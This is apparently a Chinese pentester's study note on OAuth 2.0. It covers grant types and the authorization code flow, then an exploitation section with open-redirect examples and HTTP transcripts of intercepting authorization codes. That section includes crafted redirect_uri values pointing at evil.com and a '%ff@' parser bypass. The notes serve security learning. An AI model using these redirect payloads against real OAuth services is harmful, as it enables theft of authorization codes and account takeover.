Access Control - OAuth 安全
目录
- 目录
- 学习材料
- OAuth 简介
- OAuth Grant type 认证过程
- Authorization Code Grant
- Resource Owner Password Credentials Grant
- Implicit Grant(deprecated)待补充
- Client Credentials(deprecated)待补充
- 编码实现 OAuth 认证
- SSO 与 OAuth 关系
- 利用
- 靶场练习
- 参考资料
学习材料
原理
http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html
https://www.ruanyifeng.com/blog/2019/04/oauth-grant-types.html
https://www.ruanyifeng.com/blog/2019/04/github-oauth.html
看到某个认证头要反应是什么技术:
阅读关于 OAuth RFC 文档。
漏洞
待看文章
- https://github.com/imran-parray/Mind-Maps,去找里面OAuth2.0思维导图
- https://www.youtube.com/watch?v=X0mV9HXbKHY
- HackerOne 实战案例
- 乌云实战案例
- 赏金实战案例
- https://www.oauth.com/oauth2-servers/background/,OAuth 小书
- The OAuth 2.0 Authorization Framework RFC Document
- The OAuth 2.1 Authorization Framework RFC Document
- OAuth 2.0 Security Best Current Practice RFC 草案
- OAuth 2.0 for Browser-Based Apps
- 关于 OAuth 的 RFC 文档合集 https://tools.ietf.org/wg/oauth/
- 《OAuth2实战.pdf》
练习:
- PentesterLab,https://pentesterlab.com/exercises 搜 OAuth2 关键字
BlackHat 议题
议题工具:https://github.com/SaneBow/redirect-fuzzer
PPT: bh-asia-Wang-Make-Redirection-Evil-Again.pdf
白皮书: bh-asia-Wang-Make-Redirection-Evil-Again-wp.pdf
OAuth常见利用总结:https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Wang-Make-Redirection-Evil-Again-wp.pdf
OAuth 简介
OAuth 用于避免多次输入密码产生,它也减少攻击面,只需一套登陆机制。
OAuth 发展
- 1.0
- 2.0
- 2.1
OAuth Grant type 认证过程
https://datatracker.ietf.org/doc/html/rfc6749#section-1.1
看过程前要先了解有几个角色,分别是做什么的,后面看交互才不会茫然,不知所云。
- resource owner,因为资源是用户产生的通常指用户。
- resource server,存放资源的服务器,你要想获取资源拿 Token 来
- client,通常是第三方应用服务器。
- authorization server,颁发 Token 的服务器
结合最新 OAuth 2.1 来看现有授权流程,为什么有些授权不建议使用。
Authorization Code Grant
RFC 流程图
+----------+ | Resource | | Owner | | | +----------+ ^ | (B) +----|-----+ Client Identifier +---------------+ | -+----(A)-- & Redirection URI ---->| | | User- | | Authorization | | Agent -+----(B)-- User authenticates --->| Server | | | | | | -+----(C)-- Authorization Code ---<| | +-|----|---+ +---------------+ | | ^ v (A) (C) | | | | | | ^ v | | +---------+ | | | |>---(D)-- Authorization Code ---------' | | Client | & Redirection URI | | | | | |<---(E)----- Access Token -------------------' +---------+ (w/ Optional Refresh Token) Note: The lines illustrating steps (A), (B), and (C) are broken into two parts as they pass through the user-agent. Figure 3: Authorization Code Flow
用户访问应用,应用将用户重定向到 OAuth 服务器,其参数还携带这当前应用 URL,需要访问的信息。
OAuth 向用户取得授权,并展示某个应用需要获取哪些信息,并向用户寻求授权意见。
授权成功 OAuth 服务器生成 Authorization Code,并重定向回应用(前面有回调 URL 所以可以重定向回应用不迷路)。
应用拿 Authorization Code 向 OAuth 服务器获取 Access Token。请求最好从后端发而不是前端,不然知道接口有可能劫持到授权码就得到 Access Token。
后续用户操作客户端,客户端就会拿着 Access Token 访问应用资源服务器,应用资源服务器首先向 OAuth 传递 Access Token 检查是否有效,确定有效就返回资源。
有时候资源应用服务器和第三方应用服务器是融合在一起的,既有资源又是应用。
从头到尾整个授权结果是为了拿 AcessToken。
Client 注册
Client 将用户重定向到 OAuth 服务器,第一步是验证 Client 身份,这也很好理解,应用要想拿到 Token 一定是要在 OAuth 服务器登记过,不然我咋知道你是不是骗用户授权来偷数据。
登记需要哪些东西呢?
- Redirection Endpoint(Client Callback URL)
注册成功后应用会 OAuth 服务生成 Client Identifier 标识应用和 Client secrets 获取 Access Token,通常是字母加数字。
Client 身份识别
第三方应用携带 client_id、redirect_uri、scope 参数重定向到 OAuth 服务器。
先检查 client_id 存不存在,不存在说明应用没注册。redirect_uri 是不是不匹配,不匹配说明跟注册时的回调 URL 不匹配,防止授权码传递到其他域名上。scope 用来确定不会超出注册时的权限,申请使用的权限超出注册权限说明越权。
参数校验完成才会生成授权页面。
用户授权
授权页面上允许用户选择应用获取什么权限。
用户确认授权后 OAuth 服务器检查用户传递来 scope 参数权限范围和第三方应用注册的权限是否匹配。
再检查一次 scope 原因让用户再次确认要给第三方应用的权限是不是正确的。
生成授权码
生成之前会检查 GET 参数 response_type 是不是 code,一般授权码默认是 code。
生成的授权码有效期一般是 5 分钟,只能使用一次。
生成的授权码要和 scope 做个绑定,方便后面获取 Token 时做数据传递,最终是要 Token 也绑定上 scope,以后资源服务器拿着 Token 可以检查权限。
生成完授权码需要重定向回第三方应用,URL 用的是注册时的回调 URL。
获取 Access Token
第三方应用前端拿到 code 后会将 code 发送到自己后端服务器。
后端服务器拿着 code 、client_secret、client_id 向 OAuth 服务器取 Access Token。
Token 生成要求随机无法被猜测,生成后要设置过期时间。
为了后续检查 Token 权限方便需要和 scope 做个绑定。
获取完 Token 需要删除 code。
问题(待补充)
仔细观察整个流程,OAuth 服务器成功接收到用户授权后为什么不能返回 Token 给客户端呢?反倒多一步搞个授权码,它的意义是什么?
Access Token 过期怎么办?
Access Token 有效期过短需要用户不断的重新登录,用户体验不好。
由此引入 refresh_token,当 Access Token 快过期就 refresh_token 去重新获取一个新的 Token,旧 Token 失效。
引入场景也是用 code 换 Access Token 时也返回 refresh_token。
刷新令牌也是有过期时间的,一旦过期,AccessToken 和 RefreshToken 都要失效,必须让用户重新授权。
检测有两种方案:
- 前端设置定时器检查 Token 有效性,一旦过期就去获取 Token,是主动的方案
- 正常请求直到服务器返回 Token 无效再重新获取 Token,只能等到服务器返回 Token 无效感觉会被动
真实应用请求过程分析
PKCE(待补充)
OAuth 2.1 新增。
只是授权码许可的增强版。
Resource Owner Password Credentials Grant
资源拥有者拼争许可,使用这种模式避免每次请求都用账户去验证身份,用 Token 取而代之。
说白了就是用户使用账户由第三方应用去获取 Token。
和授权码比较差别 password 授权是返回 Token 给应用,这就要求第三方应用服务是可信的,不然它把账户偷走怎么办?一般来说是和 OAuth 一家公司的应用不涉及第三方使用才选择此模式。
Implicit Grant(deprecated)待补充
Client Credentials(deprecated)待补充
https://datatracker.ietf.org/doc/html/rfc6749#section-4.4
编码实现 OAuth 认证
https://time.geekbang.org/column/intro/100053901
通过微信公众号开发深入了解认证。
SSO 与 OAuth 关系
在 SSO 上遇到过。
通过登录密码,授权码方式来访问应用。
利用
Open Redirection
常在 SSO 的重定向上看到此漏洞,在退出登陆注销完会话会设置 redirect_uri 参数跳转到官网,但是没有验证要跳转的域名对不对,所以存在任意重定向
1.案例一未验证退出时要跳转的 URL
访问 URL,其中 redirect_uri 参数可以跳转任意URL。
https://example.com.cn/oauth/remove/token?redirect_uri=https://eval.com
2.案例二登陆和登出未验证要跳转的 URL
打开 SSO 后发现 Ajax 请求
https://www.example.com.cn/login/steam?callback=getResult&task=base&redirect=https%3A%2F%2Fwww.example.com.cn%2Factivity%2Findex.html&_=1620541543355
响应 JSONP 数据。
getResult({"status":"success","result":{"loginUrl":"http:\/\/www.example.com.cn\/sso\/steamLogin?redirect=https%3A%2F%2Fwww.example.com.cn%2Factivity%2Findex.html","logoutUrl":"http:\/\/www.example.com.cn\/sso\/steamLogout?redirect=https%3A%2F%2Fwww.example.com.cn%2Factivity%2Findex.html","steamId":"0","isLogin":false,"nickname":"0","avatar":null}})
其中 loginurl 和 logouturl 存在任意重定向漏洞。logouturl 绕过,跳到 https:// http:// 都可以。
https://www.example.com.cn/steam-cn-sso/logout?redirect=//www.csgo.com.cn.raingray.com
打开 302 跳转至 www.example.com.cn.raingray.com。
CSRF intercept authorization code and hijack a session
访问应用功能因为没有登陆自动跳转到 SSO 要求登陆,登陆成功时把授权码重定向回 SSO 应用,用来获取授权码。
POST /login HTTP/1.1
Host: sso.example.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Origin: https://sso.example.com.cn
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.example.com.cn/assit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
_csrf=19938888380109911&usernmae=user01&password=19371183B1238J10ALA6
HTTP/1.1 302
Connection: close
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: *
Access-Control-Allow-Origin: *
Cache-Control: no-store
Date: Thu, 09 Sep 202X 02:20:42 GMT
Pragma: no-cache
Server: nginx/1.14.2
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Content-Length: 0
Set-Cookie: SESSION=NzJhY2Q3sij2ji3o2u48902hjkls; Path=/; HttpOnly; SameSite=Lax
Location: https://sso.example.com.cn/oauth/authorize?response_type=code&client_id=gbebs&redirect_uri=https://www.example.com.cn
通过 Cookie 获取到授权码 JA7uR8,这时候地址栏上会有 GET 参数 redirect_uri,是用来将授权码 302 重定向到应用,由用来兑换凭证。
GET /oauth/authorize?response_type=code&client_id=gbebs&redirect_uri=https://www.example.com.cn HTTP/1.1
Host: sso.example.com.cn
Accept: */*
Authorization:
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Referer: https://www.example.com.cn
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: SESSION=NzJhY2Q3sij2ji3o2u48902hjkls
Connection: close
Content-Type: application/x-www-form-urlencoded
HTTP/1.1 302
Connection: close
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: *
Access-Control-Allow-Origin: *
Cache-Control: no-store
Date: Thu, 09 Sep 202X 02:20:42 GMT
Pragma: no-cache
Server: nginx/1.14.2
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Content-Length: 0
Location: https://www.example.com.cn?code=JA7uR8
POST /oauth/token HTTP/1.1
Host: www.example.com.cn
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Accept: */*
Authorization:
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Origin: https://www.example.com.cn
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.example.com.cn/?code=TTBs7V
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
grant_type=authorization_code&client_id=gbebs&client_secret=1234&code=l4FHcZ&redirect_uri=https://evil.com%ff@lzpl.example.com.cn
HTTP/1.1 200
Connection: close
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: *
Access-Control-Allow-Origin: *
Cache-Control: no-store
Content-Type: application/json;charset=UTF-8
Date: Thu, 09 Sep 202X 02:20:42 GMT
Pragma: no-cache
Server: nginx/1.14.2
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Content-Length: 125
{"access_token":"3e12eecb-0b67-48ec-ac48-9a610f8360a8","token_type":"bearer","expires_in":74,"scope":"all","userId":"XXX000"}
在实际测试过程中直接篡改 redirect_uri,用户在 SSO 登陆成功后会把到授权码发到恶意的域名上,相当于截取授权码,恶意应用直接请求授权码兑换 API 就可以获取凭证。
https://example.com/oauth/authorize?response_type=code&client_id=gbebs&redirect_uri=https://evil.com
如果 redirect_uri 检查实在绕不过,尝试找一个白名单应用中的 Open Redirector 来获取,SSO 通过跟随重定向来跳转指定应用窃取 auth code。
或者使用 %ff 绕过 redirect_uri 限制,POC 原理参见 https://hackerone.com/reports/108113。
https://example.com/oauth/authorize?response_type=code&client_id=gbebs&redirect_uri=https://evil.com%ff@www.example.com
这些问题根源都是 Browser、URL Parser 问题,突然想起 SSRF 也是如此。在挖掘思路上可以往这两个点上靠,浏览器和 URl 解析库都是基于 HTTP 协议 RCF 文档实现,只要挖出 URL Parser 问题那么直接利用,挖 Browser 则不会有太多益处,个人认为是各家浏览器对 HTTP 规范实现上都各有不同,出成果比较难以通用。
修复授权码泄露可以直接硬在代码里编码 URL。
靶场练习
Web Security Academy
https://portswigger.net/web-security/oauth
参考资料
最近更新:
发布时间: